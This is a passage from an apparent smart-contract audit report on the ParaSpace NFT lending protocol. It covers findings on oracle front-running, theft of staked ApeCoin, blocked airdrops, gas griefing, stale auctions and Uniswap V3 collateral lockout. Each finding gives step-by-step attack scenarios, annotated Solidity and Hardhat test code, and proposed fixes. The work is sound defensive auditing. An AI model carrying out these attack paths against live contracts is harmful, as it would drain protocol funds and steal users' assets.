The only way to update an NFT price is through _finalizePrice, which is called just by function setPrice.
Current code forces the admin to call function setPrice in order to update the price, but to call this function the current implementation requires that the asset is not paused.
What would happen if the admin setPrice was frontrunned by a feeder? The feeder who make the call will be allowed to set any price for the asset without any restriction. This obligates the protocol to consider next scenario:
- One feeder key or control has been compromised
- There is a new asset that the admin want to add to start feeding
- The new asset is being sold right now in a marketplace
Then, after admin calls addAssets and setPause functions, setPrice function can be frontrunned by the compromised feeder in order to set the price of the new asset to any price they want. This would allow the feeder’s address controller to drain all protocol funds.
Impact
Oracle decentralization can be bypassed, allowing setPrice function to be frontrunned by potencial oracle feeder (or person in control of oracle feeder), allowing the frontrunner to drain all protocol funds
This can happen because oracle decentralization control measures (requiring more than 3 oracle feeder to be deployed due to MIN_ORACLES_NUM value) can be bypassed.
Proof of Concept
- Eve gets full control of one NFTFloorOracle feeder
- Eve programs a bot to monitor when the admin of NFTFloorOracle contract calls
addAssetsandsetPausefunction - ApeBoard lunch a new NFT collection called MONKEY
- Some MONKEY collection tokens are in sale in Opean Sea
- Paraspace decide to allow MONKEY collection to be used as collateral in the protocol and calls
addAssetsto add the new asset feed - Paraspace admin decide to call
setPauseto be able to callsetPricefunction -
Eve’s program detect the new NFT addition and the correspondin unpausing, then proceeds to:
- Buy one token of MONKEY collection
- Call
setPricethrough the feeder he control, and set the asset price to the maximum value possible - Deposit the NFT in the protocol
- Borrow all the funds from the protocol
It is important to notice:
function setPrice(address _asset, uint256 _twap)
public
onlyRole(UPDATER_ROLE)
onlyWhenAssetExisted(_asset)
whenNotPaused(_asset)
{
bool dataValidity = false;
// @audit This if block won't be executed by controlled feeder
if (hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) {
_finalizePrice(_asset, _twap);
return;
}
// @audit This can be bypassed giving the default twap value of the asset is zero
dataValidity = _checkValidity(_asset, _twap);
require(dataValidity, "NFTOracle: invalid price data");
// @audit add price to raw feeder storage, never reverts
_addRawValue(_asset, _twap);
uint256 medianPrice;
// set twap price only when median value is valid
// @audit _combine will return (true, _twap)
(dataValidity, medianPrice) = _combine(_asset, _twap);
if (dataValidity) {
// @audit Here the price is set, given dataValidity== true
_finalizePrice(_asset, medianPrice);
}
}function _checkValidity(address _asset, uint256 _twap)
internal
view
returns (bool)
{
// @audit the attacker will send a value higher than zero
require(_twap > 0, "NFTOracle: price should be more than 0");
PriceInformation memory assetPriceMapEntry = assetPriceMap[_asset];
uint256 _priorTwap = assetPriceMapEntry.twap;
uint256 _updatedAt = assetPriceMapEntry.updatedAt;
uint256 priceDeviation;
//@audit first price is always valid as long as _twap > 0, which is the case for the attacker who wants to maximize NFT value in order to drain protocol funds
if (_priorTwap == 0 || _updatedAt == 0) {
// @audit dataValidity in setPrice will be set to true
return true;
}
// Rest of function code...
}function _combine(address _asset, uint256 _twap)
internal
view
returns (bool, uint256)
{
FeederRegistrar storage feederRegistrar = assetFeederMap[_asset];
uint256 currentBlock = block.number;
//@audit first time the asset price is set any input parameter will return (true, _twap)
if (assetPriceMap[_asset].twap == 0) {
return (true, _twap);
}
//Rest of function...
}Recommended Mitigation Steps
- Do not allow to unpause the asset unless its prices is different from zero.
- Force the admin to set the first price for all new assets added.
First step is easy, just a simple modification to setPause function:
function setPause(address _asset, bool _flag)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
assetFeederMap[_asset].paused = _flag;
+ if(_flag){
+ require(assetFeederMap[_asset].twap != 0, ERROR_CANNOT_UNPAUSE_IF_PRICE_EQ_ZERO);
+ }
emit AssetPaused(_asset, _flag);
}This step forces to modify setPrice function and add a new function which might be called setEmergencyOrFirstPrice
// NftFloorOracle.sol
// Function to add
function setEmergencyOrFirstPrice(address _asset, uint256 _twap)
public
onlyRole(DEFAULT_ADMIN_ROLE)
onlyWhenAssetExisted(_asset)
{
require(_twap > 0, ERROR_TWAP_CANNOT_BE_ZERO());
_finalizePrice(_asset, _twap);
}Step 2 is included in the previous solution, giving we only allow to unpause the asset in case assetFeederMap[_asset].twap != 0.
Doing this allows to simplify setPrice in order to save gas:
// New setPrice function
function setPrice(address _asset, uint256 _twap)
public
onlyRole(UPDATER_ROLE)
onlyWhenAssetExisted(_asset)
whenNotPaused(_asset)
{
- bool dataValidity = false;
- if (hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) {
- _finalizePrice(_asset, _twap);
- return;
- }
- dataValidity = _checkValidity(_asset, _twap);
bool dataValidity = _checkValidity(_asset, _twap);
require(dataValidity, "NFTOracle: invalid price data");
// add price to raw feeder storage
_addRawValue(_asset, _twap);
uint256 medianPrice;
// set twap price only when median value is valid
(dataValidity, medianPrice) = _combine(_asset, _twap);
if (dataValidity) {
_finalizePrice(_asset, medianPrice);
}
}Notes
- The scenario is focus on describing how front running setPrice function call lead to as many single points failures as feeders registered in the contract. Single point failures are described in this Chainlink document (point 3)
- If there is at least one feeder who works almost independently from ParaSpace protocol and is multisigned by people (not a governance contract) I consider this issue should be considered as high, given that all of them can have realistic motivations to drain protocol funds in their favour.
[M-06] New BAKC Owner Can Steal ApeCoin
Submitted by xiaoming90, also found by unforgiven and csanuragjain
Background
This section provides a context of the pre-requisite concepts that a reader needs to fully understand the issue.
Split Pair Edge Case In Paired Pool
Assume that Jimmy is the owner of BAYC #8888 and BAKC #9999 NFTs initially. He participated in the Paired Pool and staked + accrued a total of 100 ApeCoin (APE) at this point, as shown in the diagram below.
Jimmy then sold his BAKC #9999 NFT to Ben. When this happens, both parties (Jimmy and Ben) could close out their staking position. Since Ben owns BAKC #9999 now, he can close out Jimmy’s position anytime and claim all the accrued APE rewards (2 APE below). While Jimmy will obtain the 98 APE that he staked initially.
The following image is taken from https://youtu.be/_LO-1f9nyjs?t=640
The ApeCoinStaking._withdrawPairNft taken from the official $APE Staking Contract shows that the implementation allows both the BAYC/MAYC owners and BAKC owners to close out the staking position. Refer to Line 976 below.
When the staking position is closed by the BAKC owners, the entire staking amount must be withdrawn. A partial amount is not allowed per Line 981 below. In Line 984, all the accrued APE rewards will be sent to the BAKC owners. In Line 989, all the staked APEs will be withdrawn (unstake) and sent directly to the wallet of the BAYC owners.
File: ApeCoinStaking.sol
966: function _withdrawPairNft(uint256 mainTypePoolId, PairNftWithAmount[] calldata _nfts) private {
967: for(uint256 i; i < _nfts.length; ++i) {
968: uint256 mainTokenId = _nfts[i].mainTokenId;
969: uint256 bakcTokenId = _nfts[i].bakcTokenId;
970: uint256 amount = _nfts[i].amount;
971: address mainTokenOwner = nftContracts[mainTypePoolId].ownerOf(mainTokenId);
972: address bakcOwner = nftContracts[BAKC_POOL_ID].ownerOf(bakcTokenId);
973: PairingStatus memory mainToSecond = mainToBakc[mainTypePoolId][mainTokenId];
974: PairingStatus memory secondToMain = bakcToMain[bakcTokenId][mainTypePoolId];
975:
976: require(mainTokenOwner == msg.sender || bakcOwner == msg.sender, "At least one token in pair must be owned by caller");
977: require(mainToSecond.tokenId == bakcTokenId && mainToSecond.isPaired
978: && secondToMain.tokenId == mainTokenId && secondToMain.isPaired, "The provided Token IDs are not paired");
979:
980: Position storage position = nftPosition[BAKC_POOL_ID][bakcTokenId];
981: require(mainTokenOwner == bakcOwner || amount == position.stakedAmount, "Split pair can't partially withdraw");
982:
983: if (amount == position.stakedAmount) {
984: uint256 rewardsToBeClaimed = _claim(BAKC_POOL_ID, position, bakcOwner);
985: mainToBakc[mainTypePoolId][mainTokenId] = PairingStatus(0, false);
986: bakcToMain[bakcTokenId][mainTypePoolId] = PairingStatus(0, false);
987: emit ClaimRewardsPairNft(msg.sender, rewardsToBeClaimed, mainTypePoolId, mainTokenId, bakcTokenId);
988: }
989: _withdraw(BAKC_POOL_ID, position, amount, mainTokenOwner);
990: emit WithdrawPairNft(msg.sender, amount, mainTypePoolId, mainTokenId, bakcTokenId);
991: }
992: }The following shows that the ApeCoinStaking._withdraw used in the above function will send the unstaked APEs directly to the wallet of BAYC owners. Refer to Line 946 below.
File: ApeCoinStaking.sol
937: function _withdraw(uint256 _poolId, Position storage _position, uint256 _amount, address _recipient) private {
938: require(_amount <= _position.stakedAmount, "Can't withdraw more than staked amount");
939:
940: Pool storage pool = pools[_poolId];
941:
942: _position.stakedAmount -= _amount;
943: pool.stakedAmount -= _amount;
944: _position.rewardsDebt -= (_amount * pool.accumulatedRewardsPerShare).toInt256();
945:
946: apeCoin.safeTransfer(_recipient, _amount);
947: }Who is the owner of BAYC/MAYC in ParaSpace?
The BAYC is held by the NTokenBAYC reserve pool, while the MAYC is held by NTokenMAYC reserve pool. This causes an issue because, as mentioned in the previous section, all the unstaked APE will be sent directly to the wallet of the BAYC/MAYC owners. This will be used as part of the attack path later on.
Does BAKC need to be staked or stored within ParaSpace?
No. For the purpose of APE staking via ParaSpace , BAKC NFT need not be held in the ParaSpace contract for staking, but Bored Apes and Mutant Apes must be collateralized in the ParaSpace protocol. Refer to here. As such, users are free to sell off their BAKC anytime to anyone since it is not being locked up.
Proof of Concept
Using back the same example in the previous section. Assume the following:
- Jimmy is the victim, and Ben is the attacker.
- Jimmy is the owner of BAYC
#8888and BAKC#9999NFTs initially. He participated in the Paired Pool and staked + accrued a total of 100 ApeCoin (APE). - Jimmy sold his BAKC
#9999NFT to Ben. There are many ways Ben can obtain the BAKC#9999NFT. Ben could obtain it via the public marketplace (e.g. Opensea) if Jimmy listed it OR Ben could offer an attractive price to Jimmy to purchase it privately. - Ben also participates in the APE staking in ParaSpace via his BAYC
#0002and BAKC#0002NFTs.
Ben will close out Jimmy’s position by calling the ApeCoinStaking.withdrawBAKC function of the official $APE Staking Contract to withdraw all the staked APE + accrued APE rewards. As a result, the 98 APE that Jimmy staked initially will be sent directly to the owner of the BAYC #8888 owner. In this case, the BAYC #8888 owner is ParaSpace’s NTokenBAYC reserve pool.
At this point, it is important to note that Jimmy’s 98 APE is stuck in ParaSpace’s NTokenBAYC reserve pool. If anyone can siphon out Jimmy’s 98 APE that is stuck in the contract, that person will be able to get free APE.
There exist a way to siphon out all the APE coin that resides in ParaSpace’s NTokenBAYC reserve pool. Anyone who participates in APE staking via ParaSpace with a BAYC, which also means that any user staked in the Paired Pool, can trigger the ApeStakingLogic.withdrawBAKC function below by calling the PoolApeStaking.withdrawBAKC function.
Notice that in Line 53 below, it will compute the total balance of APE held by ParaSpace’s NTokenBAYC reserve pool contract. In Line 55, it will send all the APE in the pool contract to the recipient. This effectively performs a sweeping of APE stored in the pool contract.
File: ApeStakingLogic.sol
38: function withdrawBAKC(
39: ApeCoinStaking _apeCoinStaking,
40: uint256 poolId,
41: ApeCoinStaking.PairNftWithAmount[] memory _nftPairs,
42: address _apeRecipient
43: ) external {
44: ApeCoinStaking.PairNftWithAmount[]
45: memory _otherPairs = new ApeCoinStaking.PairNftWithAmount[](0);
46:
47: if (poolId == BAYC_POOL_ID) {
48: _apeCoinStaking.withdrawBAKC(_nftPairs, _otherPairs);
49: } else {
50: _apeCoinStaking.withdrawBAKC(_otherPairs, _nftPairs);
51: }
52:
53: uint256 balance = _apeCoinStaking.apeCoin().balanceOf(address(this));
54:
55: _apeCoinStaking.apeCoin().safeTransfer(_apeRecipient, balance);
56: }Thus, after Ben closes out Jimmy’s position by calling the ApeCoinStaking.withdrawBAKC function and causes the 98 APE to be sent to ParaSpace’s NTokenBAYC reserve pool contract, Ben immediately calls the PoolApeStaking.withdrawBAKC function against his own BAYC #0002 and BAKC #0002 NFTs. This will result in all of Jimmy’s 98 APE being swept to his wallet. Bob effectively steals Jimmy’s 98 APE.
Impact
ApeCoin of ParaSpace users can be stolen.
Recommended Mitigation Steps
Consider the potential side effects of the split pair edge case in the pair pool when implementing the APE staking feature in ParaSpace.
The official APE staking contract has been implemented recently, and only a few protocols have integrated with it. Thus, the edge cases are not widely understood and are prone to errors.
To mitigate this issue, instead of returning BAKC NFT to the users after staking, consider locking up BAKC NFT in the ParaSpace contract as part of the user’s collateral. In this case, the user will not be able to sell off their BAKC, and the “Split Pair Edge Case In Paired Pool” scenario will not happen.
LSDan (judge) decreased severity to Medium and commented:
I’ve decided to downgrade this to medium. I think the risks involved are understood by most educated users of the BAYC/MAYC universe, but still valid.
[M-07] NTokenMoonBirds Reserve Pool Cannot Receive Airdrops
Submitted by xiaoming90, also found by cccz, imare, unforgiven, and csanuragjain
The NTokenMoonBirds Reserve Pool only allows Moonbird NFT to be sent to the pool contract as shown in Line 70 below.
File: NTokenMoonBirds.sol
63: function onERC721Received(
64: address operator,
65: address from,
66: uint256 id,
67: bytes memory
68: ) external virtual override returns (bytes4) {
69: // only accept MoonBird tokens
70: require(msg.sender == _underlyingAsset, Errors.OPERATION_NOT_SUPPORTED);
71:
72: // if the operator is the pool, this means that the pool is transferring the token to this contract
73: // which can happen during a normal supplyERC721 pool tx
74: if (operator == address(POOL)) {
75: return this.onERC721Received.selector;
76: }
77:
78: // supply the received token to the pool and set it as collateral
79: DataTypes.ERC721SupplyParams[]
80: memory tokenData = new DataTypes.ERC721SupplyParams[](1);
81:
82: tokenData[0] = DataTypes.ERC721SupplyParams({
83: tokenId: id,
84: useAsCollateral: true
85: });
86:
87: POOL.supplyERC721FromNToken(_underlyingAsset, tokenData, from);
88:
89: return this.onERC721Received.selector;
90: }Note that the NTokenMoonBirds Reserve Pool is the holder/owner of all Moonbird NFTs within ParaSpace. If there is any airdrop for Moonbird NFT, the airdrop will be sent to the NTokenMoonBirds Reserve Pool.
However, due to the validation in Line 70, the NTokenMoonBirds Reserve Pool will not be able to receive any airdrop (e.g. Moonbirds Oddities NFT) other than the Moonbird NFT. In summary, if any NFT other than Moonbird NFT is sent to the pool, it will revert.
For instance, Moonbirds Oddities NFT has been airdropped to Moonbird NFT nested stakers in the past. With the nesting staking feature, more airdrops are expected in the future. In this case, any users who collateralized their nested Moonbird NFT within ParaSpace will lose their opportunities to claim the airdrop.
Impact
Loss of assets for the user. Users will not be able to receive any airdropped assets for their nested Moonbird NFT.
Recommended Mitigation Steps
Update the contract to allow airdrops to be received by the NTokenMoonBirds Reserve Pool.
function onERC721Received(
address operator,
address from,
uint256 id,
bytes memory
) external virtual override returns (bytes4) {
- // only accept MoonBird tokens
- require(msg.sender == _underlyingAsset, Errors.OPERATION_NOT_SUPPORTED);
// if the operator is the pool, this means that the pool is transferring the token to this contract
// which can happen during a normal supplyERC721 pool tx
if (operator == address(POOL)) {
return this.onERC721Received.selector;
}
+ if msg.sender == _underlyingAsset(
// supply the received token to the pool and set it as collateral
DataTypes.ERC721SupplyParams[]
memory tokenData = new DataTypes.ERC721SupplyParams[](1);
tokenData[0] = DataTypes.ERC721SupplyParams({
tokenId: id,
useAsCollateral: true
});
+ )
POOL.supplyERC721FromNToken(_underlyingAsset, tokenData, from);
return this.onERC721Received.selector;
}LSDan (judge) decreased severity to Medium
[M-08] Adversary can force user to pay large gas fees by transfering them collateral
Submitted by 0x52
Adversary can DOS user and make them pay more gas by sending them collateral.
Proof of Concept
if (fromConfig.isUsingAsCollateral(reserveId)) {
if (fromConfig.isBorrowingAny()) {
ValidationLogic.validateHFAndLtvERC20(
reservesData,
reservesList,
usersConfig[params.from],
params.asset,
params.from,
params.reservesCount,
params.oracle
);
}
if (params.balanceFromBefore == params.amount) {
fromConfig.setUsingAsCollateral(reserveId, false);
emit ReserveUsedAsCollateralDisabled(
params.asset,
params.from
);
}
//@audit collateral is automatically turned on for receiver
if (params.balanceToBefore == 0) {
DataTypes.UserConfigurationMap
storage toConfig = usersConfig[params.to];
toConfig.setUsingAsCollateral(reserveId, true);
emit ReserveUsedAsCollateralEnabled(
params.asset,
params.to
);
}
}The above lines are executed when a user transfer collateral to another user. If the sending user currently has the collateral enabled and the receiving user doesn’t have a balance already, the collateral will automatically be enabled for the receiver. Since the collateral is enabled, it will now be factored into the health check calculation. This increases gas for the receiver every time the user does anything that requires a health check (which ironically includes turning off a collateral). If enough different kinds of collateral are added to the platform it may even be enough gas to DOS the users.
Recommended Mitigation Steps
Don’t automatically enable the collateral for the receiver.
[M-09] User collateral NFT open auctions would be sold as min price immediately next time user health factor gets below the liquidation threshold, protocol should check health factor and set auctionValidityTime value anytime a valid action happens to user account to invalidate old open auctions
Submitted by unforgiven
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/pool/DefaultReserveAuctionStrategy.sol#L90-L135
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/libraries/MintableERC721Logic.sol#L424-L434
Attacker can liquidate users NFT collaterals with min price immediately after user health factor gets below the liquidation threshold for NFT collaterals that have old open auctions and setAuctionValidityTime() is not get called for the user. Whenever user’s account health factor gets below the NFT liquidation threshold attacker can start auction for all of users NFTs in the protocol. User needs to call setAuctionValidityTime() to invalidated all of those open auctions whenever his/her account health factor is good, but if user doesn’t call this and doesn’t close those auctions then next time user’s accounts health factor gets below the threshold, attacker would liquidate all of those NFTs with minimum price immediately.
Proof of Concept
This is calculateAuctionPriceMultiplier() code in DefaultReserveAuctionStrategy:
function calculateAuctionPriceMultiplier(
uint256 auctionStartTimestamp,
uint256 currentTimestamp
) external view override returns (uint256) {
uint256 ticks = PRBMathUD60x18.div(
currentTimestamp - auctionStartTimestamp,
_tickLength
);
return _calculateAuctionPriceMultiplierByTicks(ticks);
}
function _calculateAuctionPriceMultiplierByTicks(uint256 ticks)
internal
view
returns (uint256)
{
if (ticks < PRBMath.SCALE) {
return _maxPriceMultiplier;
}
uint256 ticksMinExp = PRBMathUD60x18.div(
(PRBMathUD60x18.ln(_maxPriceMultiplier) -
PRBMathUD60x18.ln(_minExpPriceMultiplier)),
_stepExp
);
if (ticks <= ticksMinExp) {
return
PRBMathUD60x18.div(
_maxPriceMultiplier,
PRBMathUD60x18.exp(_stepExp.mul(ticks))
);
}
uint256 priceMinExpEffective = PRBMathUD60x18.div(
_maxPriceMultiplier,
PRBMathUD60x18.exp(_stepExp.mul(ticksMinExp))
);
uint256 ticksMin = ticksMinExp +
(priceMinExpEffective - _minPriceMultiplier).div(_stepLinear);
if (ticks <= ticksMin) {
return priceMinExpEffective - _stepLinear.mul(ticks - ticksMinExp);
}
return _minPriceMultiplier;
}As you can see when long times passed from auction start time the price of auction would be minimum.
This is isAuctioned() code in MintableERC721Data contract:
function isAuctioned(
MintableERC721Data storage erc721Data,
IPool POOL,
uint256 tokenId
) public view returns (bool) {
return
erc721Data.auctions[tokenId].startTime >
POOL
.getUserConfiguration(erc721Data.owners[tokenId])
.auctionValidityTime;
}As you can see auction is valid if startTime is bigger than user’s auctionValidityTime. but the value of auctionValidityTime should be set manually by calling PoolParameters.setAuctionValidityTime(), so by default auction would stay open. imagine this scenario:
- user NFT health factor gets under the liquidation threshold.
- attacker calls
startAuction()for all user collateral NFT tokens. - user supply some collateral and his health factor become good.
- some time passes and user NFT health factor gets under the liquidation threshold.
- attacker can liquidate all of user NFT collateral with minimum price of auction immediately.
- user would lose his NFTs without proper auction.
This scenario can be common because liquidation and health factor changes happens on-chain and most of the user isn’t always watches his account health factor and he wouldn’t know when his account health factor gets below the liquidation threshold and when it’s needed for him to call setAuctionValidityTime(). so over time this would happen to more users.
Tools Used
VIM
Recommended Mitigation Steps
Contract should check and set the value of auctionValidityTime for user whenever an action happens to user account.
Also there should be some incentive mechanism for anyone starting or ending an auction.
[M-10] Users can be locked out of providing Uniswap V3 NFTs as collateral
Submitted by Jeiwan, also found by Trust
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/libraries/MintableERC721Logic.sol#L248
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/libraries/MintableERC721Logic.sol#L107
A malicious actor can disallow supplying of Uniswap V3 NFT tokens as collateral for any user. This can be exploited as a front-running attack that disallows a borrower to provide more Uniswap V3 LP tokens as collateral and save their collateral from being liquidated.
Proof of Concept
The protocol allows users to provide Uniswap V3 NFT tokens as collateral. Since these tokens can be minted freely, a malicious actor may provide a huge number of such tokens as collateral and impose high gas consumption by the calculateUserAccountData function of GenericLogic (which calculates user’s collateral and debt value). Potentially, this can lead to out of gas errors during collateral/debt values calculation. To protect against this attack, a limit on the number of Uniswap V3 NFTs a user can provide as collateral was added (NTokenUniswapV3.sol#L33-L35):
constructor(IPool pool) NToken(pool, true) {
_ERC721Data.balanceLimit = 30;
}The limit is enforced during Uniswap V3 NToken minting and transferring (MintableERC721Logic.sol#L247-L248, MintableERC721Logic.sol#L106-L107, MintableERC721Logic.sol#L402-L414):
uint64 newBalance = oldBalance + uint64(tokenData.length);
_checkBalanceLimit(erc721Data, ATOMIC_PRICING, newBalance);uint64 newRecipientBalance = oldRecipientBalance + 1;
_checkBalanceLimit(erc721Data, ATOMIC_PRICING, newRecipientBalance);function _checkBalanceLimit(
MintableERC721Data storage erc721Data,
bool ATOMIC_PRICING,
uint64 balance
) private view {
if (ATOMIC_PRICING) {
uint64 balanceLimit = erc721Data.balanceLimit;
require(
balanceLimit == 0 || balance <= balanceLimit,
Errors.NTOKEN_BALANCE_EXCEEDED
);
}
}While protecting from the attack mentioned above, this creates a new attack vector: a malicious actor can send many Uniswap V3 NTokens to a victim and lock them out of adding more Uniswap V3 NTokens as collateral. This attack is viable and cheap because Uniswap V3 NFTs can have 0 liquidity, thus the attacker would only need to pay transaction fees, which are cheap on L2 networks.
Exploit Scenario
- Bob provides Uniswap V3 NFTs as collateral on Paraspace and borrows other tokens.
- Due to extreme market conditions, Bob’s health factor is getting closer to the liquidation threshold.
- Bob, while being an active liquidity provider on Uniswap, supplies another Uniswap V3 NFT as a collateral.
- Alice runs liquidation and front-running bots. One of her bots notices that Bob is trying to increase his collateral value with a Uniswap V3 NFT.
- Alice’s bot mints multiple Uniswap V3 NFTs using the same asset tokens by removing all liquidity from tokens after they were minted.
- Alice’s bot supplies the newly minted NFTs on behalf of Bob. Bob’s balance of Uniswap V3 NFTs reaches the maximal allowed.
- Bob’s transaction to add another Uniswap V3 NFT as collateral fails due to the balance limit being reached.
- While Bob is trying to figure out what’s happened and before he provides collateral in other tokens or withdraws the empty NTokens, Alice’s bot liquidates Bob’s debt.
// paraspace-core/test/_uniswapv3_position_control.spec.ts
it("allows to fill balanceLimit of another user cheaply [AUDIT]", async () => {
const {
users: [user1, user2],
dai,
weth,
nftPositionManager,
nUniswapV3,
pool
} = testEnv;
// user1 has 1 token initially.
expect(await nUniswapV3.balanceOf(user1.address)).to.eq("1");
// Set the limit to 5 tokens so the test runs faster.
let totalTokens = 5;
await waitForTx(await nUniswapV3.setBalanceLimit(totalTokens));
const userDaiAmount = await convertToCurrencyDecimals(dai.address, "10000");
const userWethAmount = await convertToCurrencyDecimals(weth.address, "10");
await fund({ token: dai, user: user2, amount: userDaiAmount });
await fund({ token: weth, user: user2, amount: userWethAmount });
let nft = nftPositionManager.connect(user2.signer);
await approveTo({ target: nftPositionManager.address, token: dai, user: user2 });
await approveTo({ target: nftPositionManager.address, token: weth, user: user2 });
const fee = 3000;
const tickSpacing = fee / 50;
const lowerPrice = encodeSqrtRatioX96(1, 10000);
const upperPrice = encodeSqrtRatioX96(1, 100);
await nft.setApprovalForAll(nftPositionManager.address, true);
await nft.setApprovalForAll(pool.address, true);
const MaxUint128 = DRE.ethers.BigNumber.from(2).pow(128).sub(1);
let daiAvailable, wethAvailable;
// user2 is going to mint 4 Uniswap V3 NFTs using the same amount of DAI and WETH.
// After each mint, user2 removes all liquidity from a token and uses it to mint
// next token.
for (let tokenId = 2; tokenId <= totalTokens; tokenId++) {
daiAvailable = await dai.balanceOf(user2.address);
wethAvailable = await weth.balanceOf(user2.address);
await mintNewPosition({
nft: nft,
token0: dai,
token1: weth,
fee: fee,
user: user2,
tickSpacing: tickSpacing,
lowerPrice,
upperPrice,
token0Amount: daiAvailable,
token1Amount: wethAvailable,
});
const liquidity = (await nftPositionManager.positions(tokenId)).liquidity;
await nft.decreaseLiquidity({
tokenId: tokenId,
liquidity: liquidity,
amount0Min: 0,
amount1Min: 0,
deadline: 2659537628,
});
await nft.collect({
tokenId: tokenId,
recipient: user2.address,
amount0Max: MaxUint128,
amount1Max: MaxUint128,
});
expect((await nftPositionManager.positions(tokenId)).liquidity).to.eq("0");
}
// user2 supplies the 4 UniV3 NFTs to user1.
const tokenData = Array.from({ length: totalTokens - 1 }, (_, i) => {
return {
tokenId: i + 2,
useAsCollateral: true
}
});
await waitForTx(
await pool
.connect(user2.signer)
.supplyERC721(
nftPositionManager.address,
tokenData,
user1.address,
0,
{
gasLimit: 12_450_000,
}
)
);
expect(await nUniswapV3.balanceOf(user2.address)).to.eq(0);
expect(await nUniswapV3.balanceOf(user1.address)).to.eq(totalTokens);
// user1 tries to supply another UniV3 NFT but fails, since the limit has
// already been reached.
await fund({ token: dai, user: user1, amount: userDaiAmount });
await fund({ token: weth, user: user1, amount: userWethAmount });
nft = nftPositionManager.connect(user1.signer);
await mintNewPosition({
nft: nft,
token0: dai,
token1: weth,
fee: fee,
user: user1,
tickSpacing: tickSpacing,
lowerPrice,
upperPrice,
token0Amount: userDaiAmount,
token1Amount: userWethAmount,
});
await expect(
pool
.connect(user1.signer)
.supplyERC721(
nftPositionManager.address,
[{ tokenId: totalTokens + 1, useAsCollateral: true }],
user1.address,
0,
{
gasLimit: 12_450_000,
}
)
).to.be.revertedWith("120"); //ntoken balance exceed limit.
expect(await nUniswapV3.balanceOf(user1.address)).to.eq(totalTokens);
// The cost of the attack was low. user2's balance of DAI and WETH
// hasn't changed, only the rounding error of Uniswap V3 was subtracted.
expect(await dai.balanceOf(user2.address)).to.eq("9999999999999999999996");
expect(await weth.balanceOf(user2.address)).to.eq("9999999999999999996");
});Recommended Mitigation Steps
Consider disallowing supplying Uniswap V3 NFTs that have 0 liquidity and removing the entire liquidity from tokens that have already been supplied. Setting a minimal required liquidity for a Uniswap V3 NFT will make this attack more costly, however it won’t remove the attack vector entirely.
LSDan (judge) decreased severity to Medium
[M-11] LooksRare orders using WETH as currency cannot be paid with WETH
Submitted by Jeiwan
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/marketplaces/LooksRareAdapter.sol#L51-L54
https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/logic/MarketplaceLogic.sol#L564-L565
Users won’t be able to buy NFTs from LooksRare via the Paraspace Marketplace and pay with WETH when MakerOrder currency is set to WETH.
Proof of Concept
The Paraspace Marketplace allows users to buy NFTs from third-party marketplaces (LooksRare, Seaport, X2Y2) using funds borrowed from Paraspace. The mechanism of buying tokens requires a MakerOrder: a data structure that’s created by the seller and posted on a third-party exchange and that contains all the information about the order. Besides other fields, MakerOrder contains the currency field, which sets the currency the buyer is willing to receive payment in (OrderTypes.sol#L20):
struct MakerOrder {
...
address currency; // currency (e.g., WETH)
...
}While WETH is supported by LooksRare as a currency of orders, the LooksRare adapter of Paraspace converts it to the native (e.g. ETH) currency: if order’s currency is WETH, the currency of consideration is set to the native currency (LooksRareAdapter.sol#L49-L62):
ItemType itemType = ItemType.ERC20;
address token = makerAsk.currency;
if (token == weth) {
itemType = ItemType.NATIVE;
token = address(0);
}
consideration[0] = ConsiderationItem(
itemType,
token,
0,
makerAsk.price, // TODO: take minPercentageToAsk into account
makerAsk.price,
payable(takerBid.taker)
);When users call the buyWithCredit function, they provide credit parameters: token address and amount (besides others) (PoolMarketplace.sol#L71-L76, DataTypes.sol#L296-L303):
function buyWithCredit(
bytes32 marketplaceId,
bytes calldata payload,
DataTypes.Credit calldata credit,
uint16 referralCode
) external payable virtual override nonReentrant {struct Credit {
address token;
uint256 amount;
bytes orderId;
uint8 v;
bytes32 r;
bytes32 s;
}Deep inside the buyWithCredit function, isETH flag is set when the credit token specified by user is address(0) (MarketplaceLogic.sol#L564-L566):
vars.isETH = params.credit.token == address(0);
vars.creditToken = vars.isETH ? params.weth : params.credit.token;
vars.creditAmount = params.credit.amount;Finally, before giving a credit, consideration type and credit token are checked (MarketplaceLogic.sol#L388-L392):
require(
item.itemType == ItemType.ERC20 ||
(vars.isETH && item.itemType == ItemType.NATIVE),
Errors.INVALID_ASSET_TYPE
);This is what happens when a user tries to buy an NFT from LooksRare and pays with WETH as the maker order requires:
- User calls
buyWithCreditand sets credit token to WETH. - The currency of the consideration is changed to the native currency, and the consideration token is set to
address(0). var.isETHis not set since the credit token is WETH, notaddress(0).- The consideration type and credit token check fails because the type of the consideration is
NATIVEbutvar.isETHis not set. - As a result, the call to
buyWithCreditreverts and the user cannot buy a token while correctly using the API.
it("fails when trying to buy a token on LooksRare with WETH [AUDIT]", async () => {
const {
doodles,
pool,
weth,
users: [maker, taker, middleman],
} = await loadFixture(testEnvFixture);
const payNowNumber = "8";
const creditNumber = "2";
const payNowAmount = await convertToCurrencyDecimals(
weth.address,
payNowNumber
);
const creditAmount = await convertToCurrencyDecimals(
weth.address,
creditNumber
);
const startAmount = payNowAmount.add(creditAmount);
const nftId = 0;
// mint WETH to offer
await mintAndValidate(weth, payNowNumber, taker);
// middleman supplies DAI to pool to be borrowed by offer later
await supplyAndValidate(weth, creditNumber, middleman, true);
// maker mint mayc
await mintAndValidate(doodles, "1", maker);
// approve
await waitForTx(
await weth.connect(taker.signer).approve(pool.address, payNowAmount)
);
await expect(
executeLooksrareBuyWithCredit(
doodles,
weth as MintableERC20,
startAmount,
creditAmount,
nftId,
maker,
taker
)
).to.be.revertedWith('93'); // invalid asset type for action.
});Recommended Mitigation Steps
